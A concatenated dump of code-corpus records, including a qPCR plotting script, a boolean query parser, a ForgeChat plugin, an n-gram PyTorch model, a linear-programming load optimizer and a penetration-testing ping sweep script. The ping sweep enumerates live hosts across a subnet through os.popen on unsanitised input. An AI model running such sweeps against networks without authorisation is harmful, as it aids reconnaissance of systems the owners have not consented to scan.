color=pick_color(sgrna),\n )\n ax.plot(x, y, **style)\n\n x = x[-1:]\n y = y[-1:]\n y_err = [fold_change_err]\n style = dict(\n ecolor=pick_color(sgrna),\n capsize=2.5,\n )\n ax.errorbar(x, y, y_err, **style)\n\n xticks.append(i)\n xtick_labels.append(name_from_key(key))\n\n ax.set_ylabel('RNA Expression\\n[rel. to 16S rRNA]')\n ax.set_xlim(xticks[0] - 0.5, xticks[-1] + 0.5)\n ax.set_xticks(xticks)\n ax.set_xticklabels(xtick_labels, rotation='vertical')\n ax.grid(axis='y')\n #ax.yaxis.set_major_locator(FoldChangeLocator())\n\n fig.tight_layout(pad=0)\n #fig.savefig('20181002_sgrna_qpcr_Δct.svg')\n\n return fig\n\ndef plot_ΔΔct_data(df):\n keys = [\n ('on', False),\n ('on', True ),\n ('off', False),\n ('off', True ),\n ('rxb 11,1', False),\n ('rxb 11,1', True ),\n ]\n def name_from_key(key):\n sgrna, ligand = key\n return f\"{sgrna} ({'holo' if ligand else 'apo'})\"\n\n fig, ax = plt.subplots(1, figsize=(4, 3))\n\n xticks = []\n xtick_labels = []\n\n for i, key in enumerate(keys):\n row = df.loc[key]\n sgrna, ligand = key\n\n x = [i, i]\n y = [0, row['fold_change']]\n style = dict(\n linewidth=5,\n color=pick_color(sgrna),\n )\n ax.plot(x, y, **style)\n\n x = x[-1:]\n y = y[-1:]\n y_err = [row['upper_err']]\n style = dict(\n ecolor=pick_color(sgrna),\n capsize=2.5,\n )\n ax.errorbar(x, y, y_err, **style)\n\n xticks.append(i)\n xtick_labels.append(name_from_key(key))\n\n ax.set_ylabel('J23119 / J23150')\n ax.set_xlim(xticks[0] - 0.5, xticks[-1] + 0.5)\n ax.set_xticks(xticks)\n ax.set_xticklabels(xtick_labels, rotation='vertical')\n ax.grid(axis='y')\n ax.yaxis.set_major_locator(FoldChangeLocator())\n\n fig.tight_layout(pad=0)\n fig.savefig('20181002_sgrna_qpcr_ΔΔct.svg')\n\n return fig\n\n\nif __name__ == '__main__':\n labels = parse_labels()\n\n #pcr_data = load_pcr_data(labels)\n #melt_data = load_melt_data(labels)\n #curve_fig = plot_curves(pcr_data, melt_data)\n #curve_fig.savefig('20181002_sgrna_qpcr_curves.svg')\n #curve_fig.savefig('20181002_sgrna_qpcr_curves.pdf')\n\n ct_data = load_ct_data(labels)\n Δct_data = load_Δct_data(ct_data)\n ΔΔct_data = load_ΔΔct_data(Δct_data)\n\n plot_Δct_data(Δct_data)\n #plot_ΔΔct_data(ΔΔct_data)\n\n plt.show()\n\n","sub_path":"notebook/20180925_quantify_sgrna_levels/20181002_sgrna_qpcr.py","file_name":"20181002_sgrna_qpcr.py","file_ext":"py","file_size_in_byte":8609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"615138267","text":"import re\n\nfrom tree import BinaryTree\nfrom util.analyzer import is_stopword\nfrom nltk.tokenize import word_tokenize\n\nclass Parser:\n\n ##\n ## tokenize the query into tokens\n ##\n def __tokenize(self, expression):\n\n #tokenize the query using NLTK tokenizer\n raw_tokenized_expression = word_tokenize(expression)\n\n quote_begins = False\n phrase = ''\n\n # deals with phrase query : it merges the terms enclosed in double quotes (\")\n tokenized_expression = []\n for token in raw_tokenized_expression:\n if token in ['\\'\\'', '\"', '``']:\n if quote_begins:\n tokenized_expression.append('\"%s\"' % phrase.strip())\n phrase = ''\n quote_begins = False\n else:\n quote_begins = True\n elif quote_begins:\n phrase += ' ' + token\n else:\n tokenized_expression.append(token)\n\n return tokenized_expression\n\n\n # processes the operator and the operand stack.\n # it builds a subtree and store it in the operand stack\n\n def __process(self, operator_stack, operand_stack):\n\n operator = operator_stack.pop()\n\n if operator == '(':\n return False\n\n operand1 = operand_stack.pop()\n operand2 = operand_stack.pop()\n operator_node = BinaryTree(operator, operator)\n operator_node.add_right(operand1)\n operator_node.add_left(operand2)\n operand_stack.append(operator_node)\n\n return True\n\n\n # builds a syntax tree based on the query using 2 stacks :\n # one stack for storing the operands\n # and the other stack for storing operators\n # it goes through the query and whenever it encounters a token, it\n # stores it in the operand stack and if it encounters \"AND\", \"OR\", \")\" or \"(\"\n # it stores it in the operator stack. It calls process() method to process\n # the two stacks and build the final syntax tree.\n\n def build_ast(self, expression):\n try:\n tokenized_expression = self.__tokenize(expression)\n\n operator_stack = []\n operand_stack = []\n prev_token = ''\n\n for token in tokenized_expression:\n if token == '(':\n operator_stack.append(token) # push \"(\" in the operator stack\n elif token.upper() == 'AND' or token.upper() == 'OR':\n while operator_stack and operator_stack[-1] != '(':\n if not self.__process(operator_stack, operand_stack): # build a subtree and store it in the operand stack\n break\n\n operator_stack.append(token.upper())\n elif token == ')':\n while True:\n if not self.__process(operator_stack, operand_stack):\n break\n elif token.startswith('\"'): # if we encounter a phrase, it appends it in the operand stack\n operand_stack.append(BinaryTree('PHRASE', token[1:-1])) #substring because no need to store the quotes of the phrase\n else:\n if prev_token and prev_token.upper() not in ('(', ')', 'AND', 'OR'):\n raise ParseException('Invalid Expression: Missing operator')\n operand_stack.append(BinaryTree('KEYWORD', token)) # if it is a keyword store it in the operand stack\n\n prev_token = token # to handle processing phrase queries in building the tree\n\n\n while operator_stack:\n if not self.__process(operator_stack, operand_stack):\n # if we have a missing parenthesis\n raise ParseException('Invalid Expression: Missing \")\"')\n\n if not operator_stack and len(operand_stack) > 1:\n # if we have an invalid expression with missing operator (e.g. A B, A B AND, AND A B OR ...)\n raise ParseException('Invalid Expression: Missing operator')\n\n syntax_tree = operand_stack.pop()\n\n syntax_tree = self.__prune_stopwords(syntax_tree, syntax_tree)\n\n return syntax_tree\n except IndexError:\n # handle most type of errors like A AND AND B\n raise ParseException('Invalid Expression')\n\n\n ## Since we drop stop words from the whole corpus\n ## we do the same with queries. However, it is a bit tricky removing\n ## them from the binary tree. This methods traverses the whole tree\n ## and deletes nodes that corresponds to stop words.\n\n ##\n ## It is a recursive algorithm. We check if there are stop words in the tree.\n ## if so, we prune left subtree or/and right subtree\n ## when pruning stop words, the node may loose the link with its children,\n ## so we use transplant_by_right() method or transplant_by_left() method\n ## to link the child node to the corresponding parent\n ##\n\n def __prune_stopwords(self, node, root):\n if node.node_type == 'KEYWORD' or node.node_type == 'PHRASE':\n # if the node is a stop word we nullify the node\n if is_stopword(node.node_value):\n node.nullify()\n elif node.node_type == 'AND' or node.node_type == 'OR':\n self.__prune_stopwords(node.left, root)\n self.__prune_stopwords(node.right, root)\n\n if node.left is None and node.right is None:\n p = node.parent\n if p is not None:\n if p.parent is not None:\n if p.left == node:\n if not p.transplant_by_right():\n p.left = None\n else:\n if not p.transplant_by_left():\n p.right = None\n else:\n node.nullify()\n return BinaryTree()\n else:\n return BinaryTree()\n elif node.left is None:\n if not node.transplant_by_right():\n return node.right\n elif node.right is None:\n if not node.transplant_by_left():\n return node.left\n\n return root\n\n\nclass ParseException(Exception):\n def __init__(self, *args, **kwargs):\n super(ParseException, self).__init__(*args, **kwargs)","sub_path":"ops/query/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"347976569","text":"\"\"\"\nRemove Nth Node from End of Linked List\nhttps://leetcode.com/explore/interview/card/facebook/6/round-2-onsite-interview/320/\n\n_author: Kashif Memon\n_python_version: 3.7.2\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n start = slow = fast = ListNode(0)\n start.next = head\n for _ in range(n):\n fast = fast.next\n while fast.next:\n slow, fast = slow.next, fast.next\n slow.next = slow.next.next\n return start.next\n\n\ndef main():\n input1 = ListNode(2)\n input1.next = ListNode(4)\n input1.next.next = ListNode(3)\n input1.next.next.next = ListNode(5)\n input1.next.next.next.next = ListNode(6)\n input1.next.next.next.next.next = ListNode(4)\n print(Solution().removeNthFromEnd(input1, 3))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"solutions-to-leetcode/facebook-interview/linked_list/l_remove_n_node_from_end_of_linked_list.py","file_name":"l_remove_n_node_from_end_of_linked_list.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"65545811","text":"\"\"\" Common functions \"\"\"\n\n# Standard library imports\nimport re\nimport random\nimport json\nimport os\nfrom os.path import join, dirname\n\ndef get_random_item(choices):\n \"\"\" Returns random quote from list of choices, or None if provided no options. \"\"\"\n if choices:\n return random.choice(choices)\n return None\n \ndef is_keyword_mentioned(text, triggers):\n \"\"\" Checks if configured trigger words to call the bot are present in the text content \"\"\"\n \n for keyword in triggers:\n # Do a case insensitive search. This should work on regex patterns as well.\n if re.search(keyword, text, re.IGNORECASE):\n return True\n \n return False\n\ndef get_trigger_from_content(content, messages_config):\n \"\"\" Searches message content and returns a specific trigger configuration if one is found, as defined in the provided config \"\"\"\n\n # Check each trigger->action pair\n for config in messages_config:\n if is_keyword_mentioned(content, config.get(\"TRIGGERS\", [])):\n return config\n return None\n\ndef get_username(author):\n \"\"\" Handles author names when comment was deleted before the bot could reply \"\"\"\n\n if not author:\n name = '[deleted]'\n else:\n \tname = author.name\n\n return name\n","sub_path":"utils/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"493850381","text":"# Memoization: voltar resultado precomputado se a funcao ja foi chamada com o\n# mesmo valor anteriormente\n\n# Memoazation\nfib_cache = {0: 1, 1:1}\ndef fib_fast(n):\n if n in fib_cache:\n return fib_cache[n]\n ret = fib(n-2) + fib(n-1)\n fib_cache[n] = ret\n print(fib_cache)\n return ret\n\n\n# Essa solucao é O(2^n)\ndef fib(n):\n\n if n < 2:\n return n\n return fib(n-1) + fib(n-2)\n\ndef main():\n for i in range(1, 1000):\n print (fib(i))\nif __name__ == \"__main__\": main()\n","sub_path":"Fibonacci.py","file_name":"Fibonacci.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"243528544","text":"#!/usr/bin/python\n#\n# Copyright 2018-2021 Polyaxon, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typing import Dict, Set, Union\n\nfrom coredb import operations\nfrom coredb.abstracts.runs import BaseRun\nfrom polyaxon.polyflow import V1CompiledOperation, V1Operation\n\n\ndef compile_operation_run(\n project_id: int,\n user_id: int,\n op_spec: V1Operation = None,\n compiled_operation: V1CompiledOperation = None,\n name: str = None,\n description: str = None,\n tags: str = None,\n override: Union[str, Dict] = None,\n params: Dict = None,\n readme: str = None,\n is_managed: bool = True,\n pending: str = None,\n meta_info: Dict = None,\n pipeline_id: int = None,\n controller_id: int = None,\n supported_kinds: Set[str] = None,\n supported_owners: Set[str] = None,\n) -> BaseRun:\n compiled_operation, instance = operations.init_run(\n project_id=project_id,\n user_id=user_id,\n name=name,\n description=description,\n op_spec=op_spec,\n compiled_operation=compiled_operation,\n override=override,\n params=params,\n readme=readme,\n pipeline_id=pipeline_id,\n controller_id=controller_id,\n tags=tags,\n is_managed=is_managed,\n pending=pending,\n meta_info=meta_info,\n supported_kinds=supported_kinds,\n supported_owners=supported_owners,\n )\n instance.save()\n return instance\n","sub_path":"platform/coredb/coredb/managers/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"217653471","text":"from .status_constants import HttpStatusCode\n\n\nclass Response:\n \"\"\"\n Common class to manage all response\n \"\"\"\n @staticmethod\n def success(response_data, status_code=HttpStatusCode, message=\"Success\"):\n \"\"\"\n Method to return a common format success response\n :param response_data:\n :param status_code:\n :param message:\n :return:\n \"\"\"\n if not isinstance(status_code, HttpStatusCode):\n raise TypeError('status_code must be an instance of HttpStatusCode Enum')\n\n return {\n \"status\": status_code.name,\n \"code\": status_code.value,\n \"response_data\": response_data,\n \"message\": message\n }, status_code.value\n\n @staticmethod\n def error(error_data, status_code=None, message=\"Error\"):\n \"\"\"\n Method to return a common format for error response.\n :param error_data:\n :param status_code:\n :param message:\n :return:\n \"\"\"\n if not isinstance(status_code, HttpStatusCode):\n raise TypeError('status_code must be an instance of HttpStatusCode Enum')\n\n error_response = {\n \"status\": status_code.name,\n \"code\": status_code.value,\n \"error_data\": error_data,\n \"message\": message\n }\n\n return error_response, status_code.value\n\n","sub_path":"app/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"259744998","text":"import os\n\nfrom ...transpiler import Source\nfrom ...transpiler import transpile\nfrom ..utils import create_file\n\n\ndef do_transpile(_parser, args, _mys_config):\n sources = []\n\n for i, mysfile in enumerate(args.mysfiles):\n mys_path = os.path.join(args.package_path[i], 'src', mysfile)\n module_hpp = os.path.join(args.package_name[i], mysfile + '.hpp')\n module = '.'.join(module_hpp[:-8].split('/'))\n hpp_path = os.path.join(args.outdir, 'include', module_hpp)\n cpp_path = os.path.join(args.outdir,\n 'src',\n args.package_name[i],\n mysfile + '.cpp')\n\n with open(mys_path, 'r') as fin:\n sources.append(Source(fin.read(),\n mysfile,\n module,\n mys_path,\n module_hpp,\n args.skip_tests[i] == 'yes',\n hpp_path,\n cpp_path,\n args.main[i] == 'yes'))\n\n generated = transpile(sources)\n\n for source, (hpp_1_code, hpp_2_code, cpp_code) in zip(sources, generated):\n os.makedirs(os.path.dirname(source.hpp_path), exist_ok=True)\n os.makedirs(os.path.dirname(source.cpp_path), exist_ok=True)\n create_file(source.hpp_path[:-3] + 'early.hpp', hpp_1_code)\n create_file(source.hpp_path, hpp_2_code)\n create_file(source.cpp_path, cpp_code)\n\n\ndef add_subparser(subparsers):\n subparser = subparsers.add_parser(\n 'transpile',\n description='Transpile given Mys file(s) to C++ header and source files.')\n subparser.add_argument('-o', '--outdir',\n default='.',\n help='Output directory.')\n subparser.add_argument('-p', '--package-path',\n required=True,\n action='append',\n help='Package path.')\n subparser.add_argument('-n', '--package-name',\n required=True,\n action='append',\n help='Package name.')\n subparser.add_argument('-s', '--skip-tests',\n action='append',\n choices=['yes', 'no'],\n help='Skip tests.')\n subparser.add_argument('-m', '--main',\n action='append',\n choices=['yes', 'no'],\n help='Contains main().')\n subparser.add_argument('mysfiles', nargs='+')\n subparser.set_defaults(func=do_transpile)\n","sub_path":"mys/cli/subparsers/transpile.py","file_name":"transpile.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"541307074","text":"#!/opt/local/bin/python\n# Solution for Problem 2 on Midterm 1 - Fall 2019\n\nimport os\nimport sys\n\nif(len(sys.argv)!=2):\n\tsys.exit('You must enter a directory name as a single command-line argument.')\nelse:\n\tdirname = sys.argv[1]\n\nos.mkdir(dirname)\n","sub_path":"PHYS 162/Exams/Midterm 1/Solutions/Midterm1_solutions2.py","file_name":"Midterm1_solutions2.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"268957361","text":"# coding = utf8\n\"\"\"\n@author: Yantong Lai\n@date: 2019.10.30\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\ntorch.manual_seed(1)\n\n# Definitions\nCONTEXT_SIZE = 2\nEMBEDDING_DIM = 10\n\n# Hyper-parameters\nlearning_rate = 0.001\nnum_epochs = 10\n\ntest_sentence = \"\"\"When forty winters shall besiege thy brow,\nAnd dig deep trenches in thy beauty's field,\nThy youth's proud livery so gazed on now,\nWill be a totter'd weed of small worth held:\nThen being asked, where all thy beauty lies,\nWhere all the treasure of thy lusty days;\nTo say, within thine own deep sunken eyes,\nWere an all-eating shame, and thriftless praise.\nHow much more praise deserv'd thy beauty's use,\nIf thou couldst answer 'This fair child of mine\nShall sum my count, and make my old excuse,'\nProving his beauty by succession thine!\nThis were to be new made when thou art old,\nAnd see thy blood warm when thou feel'st it cold.\"\"\".split()\n\n# build a list of tuples.\n# Each tuple is ([ word_i-2, word_i-1 ], target word)\n\ntrigrams = [([test_sentence[i], test_sentence[i + 1]], test_sentence[i + 2]) for i in range(len(test_sentence) - 2)]\nprint(trigrams[:3])\n\n# set() will remove the duplicated elements\nvocab = set(test_sentence)\n\n# Word to index\nword_to_idx = {word: i for i, word in enumerate(vocab)}\n# print(word_to_idx)\n\n\n# N-gram language model\nclass NGramLanguageModeler(nn.Module):\n \n def __init__(self, vocab_size, embedding_dim, context_size):\n super(NGramLanguageModeler, self).__init__()\n self.embeddings = nn.Embedding(vocab_size, embedding_dim)\n self.linear1 = nn.Linear(in_features=context_size * embedding_dim, \n out_features=128)\n self.linear2 = nn.Linear(in_features=128, \n out_features=vocab_size)\n \n def forward(self, inputs):\n embeds = self.embeddings(inputs).view((1, -1))\n out = F.relu(self.linear1(embeds))\n out = self.linear2(out)\n log_probs = F.log_softmax(out, dim=1)\n return log_probs\n\nlosses = []\nloss_function = nn.NLLLoss()\nmodel = NGramLanguageModeler(vocab_size=len(vocab),\n embedding_dim=EMBEDDING_DIM,\n context_size=CONTEXT_SIZE)\noptimizer = optim.SGD(model.parameters(), lr=learning_rate)\n\nfor epoch in range(num_epochs):\n total_loss = 0\n for context, target in trigrams:\n \n # Step1. Prepare the inputs to be passed to the model\n context_idxs = torch.tensor([word_to_idx[w] for w in context], dtype=torch.long)\n print(\"context_idx = {}\\n\".format(context_idxs))\n\n # Step2. Recall that torch *accumulates* gradients. Before passing in a new instance, zero the old instance.\n model.zero_grad()\n\n # Step3. Run the forward pass, getting log probabilities over next words\n log_probs = model(context_idxs)\n\n # Step4. Compute the loss function.\n loss = loss_function(log_probs, torch.tensor([word_to_idx[target]], dtype=torch.long))\n\n # Step5. Do the backward pass and update the gradient\n loss.backward()\n optimizer.step()\n\n total_loss += loss.item()\n losses.append(total_loss / len(word_to_idx))\n\n\nprint(\"losses = \", losses)\n\n","sub_path":"Python3/nlp/n_gram.py","file_name":"n_gram.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"41506149","text":"import datetime\nimport datetime as dt\nimport pendulum\n\nutc = pendulum.local_timezone()\nprint(utc)\nnow = dt.datetime.utcnow()\nnow.isoformat()\nnow = now.replace(tzinfo=utc)\nprint(\"now1:\"+now.strftime(\"%Y-%m-%d %H:%M\") + str(now.tzname()))\nprint(\"now2:\"+now.isoformat())\nprint(\"now3:\"+str(now))\n\nimport testHello\n\nprint(\"hello test main\")\n\n\ntestHello.utcnow()\n\n\n#time=utcnow()\n#print(time)","sub_path":"Airflow/airflow-utils/testTimeZone.py","file_name":"testTimeZone.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"648646119","text":"'''IRC Chatbot Plugin\n'''\n#-*- python -*-\nimport logging\nfrom datetime import date, time, datetime, timedelta\n\n# Non-stdlib imports\nimport pkg_resources\nfrom tg import expose, validate, redirect, flash\nfrom tg.decorators import with_trailing_slash\nfrom pylons import g, c, request\nfrom formencode import validators\n\n# Pyforge-specific imports\nfrom allura.app import Application, ConfigOption, SitemapEntry, DefaultAdminController\nfrom allura.lib import helpers as h\nfrom allura.lib.search import search\nfrom allura.lib.decorators import require_post\nfrom allura.lib.security import require_access\nfrom allura import model as M\nfrom allura.controllers import BaseController\n\n# Local imports\nfrom forgechat import model as CM\nfrom forgechat import version\n\nlog = logging.getLogger(__name__)\n\nclass ForgeChatApp(Application):\n __version__ = version.__version__\n tool_label='Chat'\n status='alpha'\n default_mount_label='Chat'\n default_mount_point='chat'\n ordinal=13\n installable = True\n permissions = ['configure', 'read' ]\n config_options = Application.config_options + [\n ConfigOption('channel', str, ''),\n ]\n icons={\n 24:'images/chat_24.png',\n 32:'images/chat_32.png',\n 48:'images/chat_48.png'\n }\n\n def __init__(self, project, config):\n Application.__init__(self, project, config)\n self.channel = CM.ChatChannel.query.get(app_config_id=config._id)\n self.root = RootController()\n self.admin = AdminController(self)\n\n def main_menu(self):\n return [SitemapEntry(self.config.options.mount_label.title(), '.')]\n\n @property\n @h.exceptionless([], log)\n def sitemap(self):\n menu_id = self.config.options.mount_label.title()\n with h.push_config(c, app=self):\n return [\n SitemapEntry(menu_id, '.')[self.sidebar_menu()] ]\n\n @h.exceptionless([], log)\n def sidebar_menu(self):\n return [\n SitemapEntry('Home', '.'),\n SitemapEntry('Search', 'search'),\n ]\n\n def admin_menu(self):\n return super(ForgeChatApp, self).admin_menu()\n\n def install(self, project):\n 'Set up any default permissions and roles here'\n super(ForgeChatApp, self).install(project)\n role_admin = M.ProjectRole.by_name('Admin')._id\n role_anon = M.ProjectRole.anonymous()._id\n self.config.acl = [\n M.ACE.allow(role_anon, 'read'),\n M.ACE.allow(role_admin, 'configure'),\n ]\n CM.ChatChannel(\n project_id=self.config.project_id,\n app_config_id=self.config._id,\n channel=self.config.options['channel'])\n\n def uninstall(self, project):\n \"Remove all the tool's artifacts from the database\"\n CM.ChatChannel.query.remove(dict(\n project_id=self.config.project_id,\n app_config_id=self.config._id))\n super(ForgeChatApp, self).uninstall(project)\n\nclass AdminController(DefaultAdminController):\n\n @with_trailing_slash\n def index(self, **kw):\n redirect(c.project.url()+'admin/tools')\n\n @expose()\n @require_post()\n def configure(self, channel=None):\n with h.push_config(c, app=self.app):\n require_access(self.app, 'configure')\n chan = CM.ChatChannel.query.get(\n project_id=self.app.config.project_id,\n app_config_id=self.app.config._id)\n chan.channel = channel\n flash('Chat options updated')\n super(AdminController, self).configure(channel=channel)\n\nclass RootController(BaseController):\n\n @expose()\n def index(self, **kw):\n now = datetime.utcnow()\n redirect(c.app.url + now.strftime('%Y/%m/%d/'))\n\n @expose('jinja:forgechat:templates/chat/search.html')\n @validate(dict(q=validators.UnicodeString(if_empty=None),\n history=validators.StringBool(if_empty=False)))\n def search(self, q=None, history=None, **kw):\n 'local tool search'\n results = []\n count=0\n if not q:\n q = ''\n else:\n results = search(\n q,\n fq=[\n 'is_history_b:%s' % history,\n 'project_id_s:%s' % c.project._id,\n 'mount_point_s:%s'% c.app.config.options.mount_point ])\n if results: count=results.hits\n return dict(q=q, history=history, results=results or [], count=count)\n\n @expose()\n def _lookup(self, y, m, d, *rest):\n y,m,d = int(y), int(m), int(d)\n return DayController(date(y,m,d)), rest\n\nclass DayController(RootController):\n\n def __init__(self, day):\n self.day = day\n\n @expose('jinja:forgechat:templates/chat/day.html')\n def index(self, **kw):\n q = dict(\n timestamp={\n '$gte':datetime.combine(self.day, time.min),\n '$lte':datetime.combine(self.day, time.max)})\n messages = CM.ChatMessage.query.find(q).sort('timestamp').all()\n prev = c.app.url + (self.day - timedelta(days=1)).strftime('%Y/%m/%d/')\n next = c.app.url + (self.day + timedelta(days=1)).strftime('%Y/%m/%d/')\n return dict(\n day=self.day,\n messages=messages,\n prev=prev,\n next=next)\n","sub_path":"ForgeChat/forgechat/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"154903276","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime\nimport platform\nimport time\nimport os\n\ndef SplitAndRejoin(network,split_char):\n #\n segments = network.split(split_char)\n #\n rejoin_char = split_char\n #\n rejoined = segments[0]+rejoin_char+segments[1]+rejoin_char+segments[2]+rejoin_char\n #\n return rejoined\n\n\ndef main():\n #\n print(\"<-- OS Based Ping Sweep -->\")\n #\n subject_network = input(\"[+] Enter the network address-> \")\n #\n truncated = SplitAndRejoin(subject_network,'.')\n #\n op_sys = platform.system()\n #\n if(op_sys == \"Windows\"):\n #\n cmd = \"ping -n 1 \"\n #\n elif(op_sys == \"Linux\"):\n #\n cmd = \"ping -c 1 \"\n #\n else:\n #\n cmd = \"ping -c 1 \"\n #\n start = datetime.now()\n #\n print(\"[*] Initiating Scan [*]\")\n #\n time.sleep(1)\n #\n for i in range(1,255):\n #\n tgt = truncated+str(i)\n #\n tx = cmd+tgt\n #\n rx = os.popen(tx)\n #\n for line in rx.readlines():\n #\n if(line.count(\"ttl\")):\n #\n print(\"[*] Host alive at-> %s \" % tgt)\n #\n end = datetime.now()\n #\n net_time = end-start\n #\n print(\"[~] Scanning completed in: %s \" % net_time)\n\nif(__name__ == '__main__'):\n #\n main()\n","sub_path":"Python-Penetration-Testing/OSPingSweep.py","file_name":"OSPingSweep.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512482817","text":"# -*- coding: utf-8 -*-\n\nimport itertools\nimport numpy as np\nfrom scipy.optimize import linprog\nfrom scipy.interpolate import interp1d\nfrom algorithm.exception import ParamError\n\n\nclass MultiDeviceLoadLinprog1D(object):\n\n def __init__(self, devices, target_output, schedule_num=5):\n self.devices = devices\n self.target_output = target_output\n self.schedule_num = schedule_num\n self.schedule_list = [None] * self.schedule_num\n self._bins = []\n self._rated_sum = 0\n self._bin_list = []\n\n self.__arg_check()\n\n def get_result(self):\n self.get_bins()\n self.solve()\n return self.schedule_list\n\n def get_bins(self):\n bins = []\n for device in self.devices:\n load_min_calc = self.target_output - (self._rated_sum - device['output_max'])\n\n if load_min_calc < 0:\n device['required'] = False\n bound_min = device['load_min_real']\n else:\n device['required'] = True\n bound_min = max(device['load_min_real'], load_min_calc / device['rated_output'])\n\n bound_max = device['load_max_real']\n\n x = device['data'][:, 0]\n y = device['data'][:, 1]\n\n func = interp1d(x, y)\n if bound_min not in x:\n p_min = [bound_min, func(bound_min)]\n device['data'] = np.vstack((device['data'], p_min))\n if bound_max not in x:\n p_max = [bound_max, func(bound_max)]\n device['data'] = np.vstack((device['data'], p_max))\n\n index = (device['data'][:, 0] >= bound_min) & (device['data'][:, 0] <= bound_max)\n\n device[\"data\"] = device[\"data\"][index]\n device[\"data\"] = device[\"data\"][device[\"data\"][:, 0].argsort()]\n\n device['x'] = device[\"data\"][:, 0]\n device['y'] = device[\"data\"][:, 1]\n b = device['x'].tolist()\n device['bin_start'] = b[0]\n device['bin_stop'] = b[-1]\n bins += b\n self._bins = list(set(bins))\n self._bins.sort()\n\n for device in self.devices:\n start = self._bins.index(device['bin_start']) + 1\n stop = self._bins.index(device['bin_stop']) + 1\n bins = self._bins[start:stop]\n if not device['required']:\n bins.insert(0, 0)\n self._bin_list.append(bins)\n\n def solve(self):\n cost_list = [float('inf')] * self.schedule_num\n rated_outputs = np.array([device['rated_output'] for device in self.devices])\n for bins_right in itertools.product(*self._bin_list):\n output_sum = np.matmul(bins_right, rated_outputs)\n if output_sum < self.target_output:\n continue\n\n kwargs, bias, unused_device = self._get_linprog_param(bins_right)\n result = linprog(**kwargs)\n if result.success:\n cost_sum = result.fun + bias\n pos = np.searchsorted(cost_list, cost_sum)\n if pos >= self.schedule_num:\n continue\n cost_list[pos] = cost_sum\n loads = list(result.x)\n for i in unused_device:\n loads.insert(i, 0)\n self.schedule_list[pos] = {\n 'loads': loads,\n 'output_sum': output_sum,\n 'cost_sum': cost_sum,\n }\n\n def _get_linprog_param(self, bins_right):\n unused_device = []\n # 成本方程 c := [a1, a2, a3]\n # bias := sum(['b1', 'b2', 'b3'])\n c = []\n bias = 0\n # 边界约束 bounds := [[x0_min, x0_max], [x1_min, x1_max], [x2_min, x2_max]]\n bounds = []\n # 产量约束 A_ub := [[rated_output_1, rated_output_2, rated_output_3]]\n # b_ub := [target_output]\n A_ub = [[]]\n b_ub = [-self.target_output]\n for i, bin_right in enumerate(bins_right):\n if bin_right == 0:\n unused_device.append(i)\n continue\n pos = np.searchsorted(self.devices[i]['x'], bin_right)\n x1 = self.devices[i]['x'][pos - 1]\n x2 = self.devices[i]['x'][pos]\n y1 = self.devices[i]['y'][pos - 1]\n y2 = self.devices[i]['y'][pos]\n k = (y2 - y1) / (x2 - x1)\n b = y1 - k * x1\n c.append(k)\n bias += b\n bin_left = self._bins[self._bins.index(bin_right) - 1]\n bounds.append((bin_left, bin_right))\n A_ub[0].append(-self.devices[i]['rated_output'])\n kwargs = {\n 'c': c,\n 'A_ub': A_ub,\n 'b_ub': b_ub,\n 'bounds': bounds,\n }\n return kwargs, bias, unused_device\n\n def __arg_check(self):\n rated_sum = 0\n rated_sum_expected = 0\n for device in self.devices:\n data = np.array(device['cost_data'])\n x = data[:, 0]\n device['load_max_real'] = min(device['load_max'], x.max()) / 100\n device['load_min_real'] = max(device['load_min'], x.min()) / 100\n device['data'] = data\n device['data'][:, 0] /= 100\n device['load_max'] /= 100\n device['load_min'] /= 100\n device['output_max'] = device['load_max_real'] * device['rated_output']\n rated_sum += device['output_max']\n rated_sum_expected += device['load_max'] * device['rated_output']\n\n if rated_sum < self.target_output:\n msg = 'The maximum rated output of all device is less than \\'target_output\\'. \\n'\n if rated_sum_expected >= self.target_output:\n msg += 'Some device\\'s max load in \\'cost_data\\' is less than [\\'load_max\\']. Please check.'\n raise ParamError(msg)\n 